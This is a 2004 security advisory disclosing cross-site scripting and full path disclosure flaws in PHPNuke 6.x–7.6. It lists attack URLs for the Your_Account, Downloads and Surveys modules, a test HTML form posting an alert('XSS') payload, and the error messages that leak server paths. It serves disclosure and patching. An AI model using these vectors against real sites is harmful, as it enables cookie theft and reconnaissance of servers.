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 Advisory Text : -=[ Full path disclosure and XSS in PHPNuke ]=- Author: sp3x Date: 5. April 2004 In Memory of John Poul II : =========================== "Love converts hearts and gives peace," - John Poul II "To mi?o�? nawraca serca i daruje pokój ludzko�ci, która wydaje si? czasem zagubiona i zdominowana przez si?? z?a, egoizmu i strachu" - Jan Pawe? II [WIELKI] Affected software : =================== PHPNuke version : 6.x - 7.6 Description : ============= PHP-Nuke is a Web Portal System, storytelling software, News system, online community or whatever you want to call it. The goal of PHP-Nuke is to have an automated web site to distribute news and articles with users system. Each user can submit comments to discuss the articles, just similar to Slashdot and many others. Main features include: web based admin, surveys, top page, access stats page with counter, user customizable box, themes manager for registered users, friendly administration GUI with graphic topic manager, option to edit or delete stories, option to delete comments, moderation system, Referers page to know who link us, sections manager, customizable HTML blocks, user and authors edit, an integrated Banners Ads system, search engine, backend/headlines generation (RSS/RDF format), and many, many more friendly functions. PHP-Nuke is written 100% in PHP and requires Apache Web server, PHP and a SQL (MySQL, mSQL, PostgreSQL, ODBC, ODBC_Adabas, Sybase or Interbase). Support for 25 languages, Yahoo like search engine, Comments option in Polls, lot of themes, Ephemerids manager, File Manager, Headlines, download manager, faq manager, advanced blocks systems, reviews system, newsletter, categorized articles, multilanguage content management, phpBB Forums included and a lot more. Vulnerabilities : ***************** Cross-site scripting - XSS : ============================ In PHPNuke there are XSS that can be used to steal cookies and do other operations, which in normal conditions are not permitted by browser's cross-domain security restrictions. Example : ========= http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=mailpasswd&user name=[XSS] http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=avatarlist&avat arcategory=[XSS] http://[target]/[nuke_dir]/modules.php?name=Downloads&d_op=outsidedownloads etup&lid=[XSS] To test XSS for example in http://[target]/[nuke_dir]/modules.php?name=Downloads&d_op=outsidedownloads etup&lid=[XSS] we can create a form. test.html : ----------- <form name="mantra" method="POST" action="http://[target]/[nuke_dir]/modules.php"> <p>XSS: <input type="text" name="lid"> <br> <input type="hidden" name="name" value="Downloads"> <br> <input type="hidden" name="d_op" value="outsidedownloadsetup"> </p> <p> <input type="submit" name="Submit" value="Go!"> <br> </p> </form> ----------------- And enter to inputfield "XSS" this :<body onload="alert('XSS')";> and click "Go!" :) Full Path Disclosure : ====================== Full path to script must be kept in secret because it can lead to successful attack on the website. If the attacker know Full path to script , he can start searching some more info on others folders or about the server where the site is and then try to break in. Many scripts can be accessed directly and this will provoke standard php error messages, which leads to full path disclosure. Examples : ---------- http://[target]/[nuke_dir]/index.php?forum_admin=1 Error message : --------------- ===================================== Warning: main(): Unable to access ../../../config.php in /[info]/www/html/mainfile.php on line 104 Warning: main(../../../config.php): failed to open stream: No such file or directory in /[info]/www/html/mainfile.php on line 104 Fatal error: main(): Failed opening required '../../../config.php' (include_path='.:/php/includes:/usr/share/php') in /[info]/www/html/mainfile.php on line 104 ====================================== More Full Path Disclosure : --------------------------- http://[target]/[nuke_dir]/modules.php?name=Surveys&op=results&pollID=[id]& mode=&order=&thold=&tid=[something] Error message : --------------- ===================================== Fatal error: Cannot redeclare head() in /[info]/phpnuke/header.php on line 28 ===================================== http://[target]/[nuke_dir]/modules.php?name=Your_Account&op=avatarlist Error message : --------------- ===================================== Fatal error: Unknown function: nav() in /[info]/phpnuke/modules/Your_Account/index.php on line 1462 ===================================== How to fix : ============ Download the new version of the script or update. The fix : www.securityreason.com/patch/SecurityReason-Fix[2].rar Also on www.nukefixes.com the fix will be avaible soon Contact : ========= sp3x[at]securityreason[dot].com www.securityreason.com |
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- 2011-05-13